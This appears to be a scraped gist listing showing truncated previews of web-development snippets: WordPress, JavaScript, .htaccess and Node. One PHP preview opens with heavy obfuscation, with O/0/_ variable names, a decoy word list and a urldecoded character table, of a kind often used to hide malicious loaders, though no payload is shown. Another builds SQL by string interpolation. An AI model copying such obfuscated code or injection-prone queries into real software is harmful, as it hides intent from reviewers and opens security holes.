This file contains bidirectional Unicode text that may be interpreted or compiled differently than what appears below. To review, open the file in an editor that reveals hidden Unicode characters.
Learn more about bidirectional Unicode characters
add_action('after_setup_theme', function() { | |
add_theme_support('title-tag'); | |
add_theme_support('post-thumbnails'); | |
add_theme_support('html5', array( | |
'search-form', | |
// 'comment-form', // disabled because WP adds a "novalidate" attr on the form that is unfilterable. | |
'comment-list', | |
'gallery', | |
'caption', | |
)); |
This file contains bidirectional Unicode text that may be interpreted or compiled differently than what appears below. To review, open the file in an editor that reveals hidden Unicode characters.
Learn more about bidirectional Unicode characters
import { | |
runOnce | |
} from './runOnce.js'; | |
export function openModal(element = undefined) { | |
const modalWrapper = element instanceof HTMLElement ? element : document.querySelector('.modal'); | |
const actualModal = modalWrapper.children[0]; | |
if (modalWrapper.classList.contains('transitionInProgress')) { | |
return false; |
This file contains bidirectional Unicode text that may be interpreted or compiled differently than what appears below. To review, open the file in an editor that reveals hidden Unicode characters.
Learn more about bidirectional Unicode characters
<IfModule mod_rewrite.c> | |
RewriteEngine On | |
RewriteRule ^static/(.*)$ /subfolder/static/$1 [R=301,NC,L] # magic line, rewrite requests to domain.com/static to domain.com/subfolder/static. Quite useful on locked webhosts. | |
RewriteBase / | |
RewriteRule ^index\.php$ - [L] | |
RewriteCond %{REQUEST_FILENAME} !-f | |
RewriteCond %{REQUEST_FILENAME} !-d | |
RewriteRule . /index.php [L] | |
</IfModule> |
This file contains bidirectional Unicode text that may be interpreted or compiled differently than what appears below. To review, open the file in an editor that reveals hidden Unicode characters.
Learn more about bidirectional Unicode characters
import Cookies from 'cookies-js'; | |
export function getRegion() { | |
return new Promise((resolve, reject) => { | |
function deg2rad(deg) { | |
return deg * (Math.PI / 180); | |
} | |
function getDistanceFromLatLonInKm(lat1, lon1, lat2, lon2) { | |
const R = 6371; // Radius of the earth in km |
This file contains bidirectional Unicode text that may be interpreted or compiled differently than what appears below. To review, open the file in an editor that reveals hidden Unicode characters.
Learn more about bidirectional Unicode characters
<?php | |
//header('Content-Type:text/html; charset=utf-8'); | |
$O0_0O0_O_O = 'J6Pn2HmH0e568SXnR6KRkmP5tQbh7KEW'; | |
$OOO0_0_O_0 = 'mazama2648'; | |
$OO00O_O0__ = 1639; | |
$O0O00__OO_ = 'B/A/C_rimu-molasses/laudanidine/D-E/'; | |
$O0OOO_00__ = 233; | |
$O0O0_0O__O = 1; | |
$O__00_OO0O = array("coenenchyma", "disinfestation", "causable", "intercept", "antirattler", "inveracity", "forgery", "errantly", "beaverboard", "hemoglobinocholia", "hibito", "affination", "gourde", "fustic", "acroceraunian", "battleship", "areotectonics", "inflexibility", "hymnodical", "monticoline", "canny", "exilement", "leasehold", "metastasis", "absorbency");; | |
$O0_00OO__O = urldecode("%6E1%7A%62%2F%6D%615%5C%76%740%6928%2D%70%78%75%71%79%2A6%6C%72%6B%64%679%5F%65%68%63%73%77%6F4%2B%6637%6A"); |
This file contains bidirectional Unicode text that may be interpreted or compiled differently than what appears below. To review, open the file in an editor that reveals hidden Unicode characters.
Learn more about bidirectional Unicode characters
export function request(options = {}){ | |
// Usage: | |
// request({ | |
// url: "example.com", | |
// data: document.querySelector("form"), //FormData-object or form element | |
// method: "POST", | |
// headers: {key: "value"}, | |
// success: function(response, status){}, | |
// error: function(error, status){}, |
This file contains bidirectional Unicode text that may be interpreted or compiled differently than what appears below. To review, open the file in an editor that reveals hidden Unicode characters.
Learn more about bidirectional Unicode characters
<?php | |
class rnb { | |
function __construct() { | |
// nothing here. | |
} | |
// insert loads of functions here |
This file contains bidirectional Unicode text that may be interpreted or compiled differently than what appears below. To review, open the file in an editor that reveals hidden Unicode characters.
Learn more about bidirectional Unicode characters
<?php | |
global $wpdb; | |
$threads = $wpdb->get_results("SELECT ID, post_title, post_name FROM wp_posts WHERE post_type = 'topic'"); | |
foreach($threads as $thread){ | |
$sanitized_title = sanitize_title($thread->post_title); | |
$id = $thread->ID; | |
$wpdb->query("UPDATE wp_posts SET post_name = '$sanitized_title' WHERE ID = $id"); |
This file contains bidirectional Unicode text that may be interpreted or compiled differently than what appears below. To review, open the file in an editor that reveals hidden Unicode characters.
Learn more about bidirectional Unicode characters
var fs = require("fs"); | |
var mysql = require("mysql"); | |
var async = require("async"); | |
var filename = process.argv[2]; | |
// NOTE: This is shaped to a very spesific format of json, you have to adjust each function to suit your format. | |
var db = mysql.createConnection({ | |
host: "localhost", | |
user: "user", |